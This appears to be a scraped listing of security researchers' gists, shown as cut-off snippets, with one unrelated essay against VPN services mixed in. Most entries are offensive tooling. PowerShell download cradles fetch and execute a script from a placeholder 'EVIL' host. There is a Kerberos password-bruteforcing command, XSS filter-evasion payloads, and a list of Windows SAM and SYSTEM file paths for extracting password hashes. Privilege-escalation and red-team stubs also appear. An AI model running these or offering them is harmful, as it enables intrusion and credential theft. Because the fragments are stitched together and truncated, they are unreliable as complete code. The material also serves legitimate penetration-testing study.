HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

joepie91

Don't use VPN services.

No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.

Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.

• A Russian translation of this article can be found here, contributed by Timur Demin.
• A Turkish translation can be found here, contributed by agyild.
• There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.

TarlogicSecurity

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

curi0usJack

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

monoxgas

#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>

DWORD WINAPI Thread(LPVOID lpParam) {
	// Insert evil stuff

	ExitProcess(0);

antonioCoco

// TcbElevation - Authors: @splinter_code and @decoder_it

#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>

#pragma comment(lib, "Secur32.lib")

void EnableTcbPrivilege(BOOL enforceCheck);

mattifestation

# Author: Matthew Graeber (@mattifestation)
# Load dnlib with Add-Type first
# dnlib can be obtained here: https://github.com/0xd4d/dnlib
# Example: ls C:\ -Recurse | Get-AssemblyLoadReference
filter Get-AssemblyLoadReference {
    param (
        [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
        [Alias('FullName')]
        [String]
        [ValidateNotNullOrEmpty()]

sseffa

#
# https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
# based on the RSnake original http://ha.ckers.org/xss.html
# Retrieved on 2013-11-20
# Much of this wildly obsolete
#

# XSS Locator 2
'';!--"<XSS>=&{()}

sckalath

%SYSTEMDRIVE%\boot.ini
%WINDIR%\win.ini	This is another file that can be counted on to be readable by all users of a system.
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM	Stores user passwords in either an LM hash and/or an NTLM hash format. The SAM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system	This is the SYSTEM registry hive. This file is needed to extract the user account password hashes from a Windows system. The SYSTEM file in \repair is locked, but can be retrieved using forensic or Volume Shadow copy methods.
%SYSTEMROOT%\repair\SAM 
%SYSTEMROOT%\System32\config\RegBack\SAM	These files store the LM and NTLM hashes for local users. Using Volume Shadow Copy or Ninja Copy you can retrieve these files.
%WINDIR%\repair\sam
%WINDIR%\repair\system

andyrobbins

## Find dangerous API permissions as a user

$AzureTenantID = '<Your tenant ID>'
$AccountName = '<Username>@<Domain.com>'
$Password = ConvertTo-SecureString '<Your password>' -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($AccountName, $Password)
Connect-AzAccount -Credential $Credential -TenantID $AzureTenantID

function Get-AzureGraphToken
{